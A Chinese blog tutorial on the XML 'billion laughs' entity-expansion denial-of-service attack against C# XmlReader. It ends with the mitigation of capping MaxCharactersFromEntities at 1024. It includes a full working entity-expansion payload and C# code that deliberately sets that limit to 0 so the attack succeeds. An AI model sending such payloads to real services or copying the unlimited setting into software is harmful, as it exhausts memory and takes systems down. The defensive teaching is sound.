C# Xml 解析器dos攻击演示

C# Xml 解析器dos攻击演示

XML 是一种类似于 HTML 的标记语言。它代表可扩展标记语言并且是一个 W3C 推荐的规范作为一种通用标记语言。这意味着,与其他标记语言不同,XML 未预定义,因此你必须定义自己的标记。该语言的主要目的是跨不同系统共享数据,如互联网。下面就是一个xml文档

<?xml version="1.0" ?>
<!DOCTYPE 书架 SYSTEM "book.dtd">
<书架>
    <书>
        <书名>Java就业培训教程</书名>
        <作者>张孝祥</作者>
        <售价>39.00元</售价>
    </书>
    <书>
        <书名>JavaScript网页开发</书名>
        <作者>张孝祥</作者>
        <售价>28.00元</售价>
    </书>
</书架>

那么DTD是什么呢

XML DTD 的目的是定义 XML 文档的结构。它使用一系列合法的元素来定义文档结构,如下面:

<!ELEMENT 书架 (书+)>
    <!ELEMENT 书 (书名,作者,售价)>
    <!ELEMENT 书名 (#PCDATA)>
    <!ELEMENT 作者 (#PCDATA)>
    <!ELEMENT 售价 (#PCDATA)>

我们可以利用DTD可以产生XML dos攻击,它能迅速占用大量内存,如下:

当XML解析器尝试解析该文件时,由于DTD的定义指数级展开,这个1K不到的文件会占用到3G的内存。

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<!ENTITY lol10 "&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;">
<!ENTITY lol11 "&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;">
<!ENTITY lol12 "&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;">
<!ENTITY lol13 "&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;">
<!ENTITY lol14 "&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;">
<!ENTITY lol15 "&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;">
]>
<lolz>&lol15;</lolz>

下面我们用vs新建一个项目演示一下这种攻击

using System.Xml;

// 1. Create custom settings for the XML parser
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Parse;

// Warning: this value should never be 0, this will make your app
//          vulnerable to this kind of attack.
//          A normal value would be 1024
settings.MaxCharactersFromEntities = 0;

// 2. Create an instance of the XmlReader and load file with custom settings.
XmlReader reader = XmlReader.Create("C:\\Users\\bfw\\Desktop\\demo.xml", settings);

// At this point, the parser didn't process the file, unless you read it
using (reader)
{
    while (reader.Read())
    {
        if (reader.IsStartElement()) { }
    }
} 

在vs中运行后,我们可以看到

<a href='/tag/csharp.html'>C#</a> Xml 解析器dos攻击演示

内存瞬间被用光,程序处于无响应状态,等了10分钟依然无响应,最后我只能通过vs结束他的运行

那么这种xml dos攻击如何防止发生呢

将MaxCharactersFromEntities 设为1024,给个范围给他,让他超出范围自动结束

using System.Xml;

// 1. Create custom settings for the XML parser
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Parse;
// Prevent DoS attacks
settings.MaxCharactersFromEntities = 1024;

// 2. Create an instance of the XmlReader and load file with custom settings.
XmlReader reader = XmlReader.Create("C:\\Users\\sdkca\\Desktop\\myxmlfile.xml", settings);

// At this point, the parser didn't process the file, unless you read it
using (reader)
{
    // The parser will read without any problem !!!
    while (reader.Read())
    {
        if (reader.IsStartElement()) { }
    }
} 

<a href='/tag/csharp.html'>C#</a> Xml 解析器dos攻击演示



{{collectdata}}

网友评论0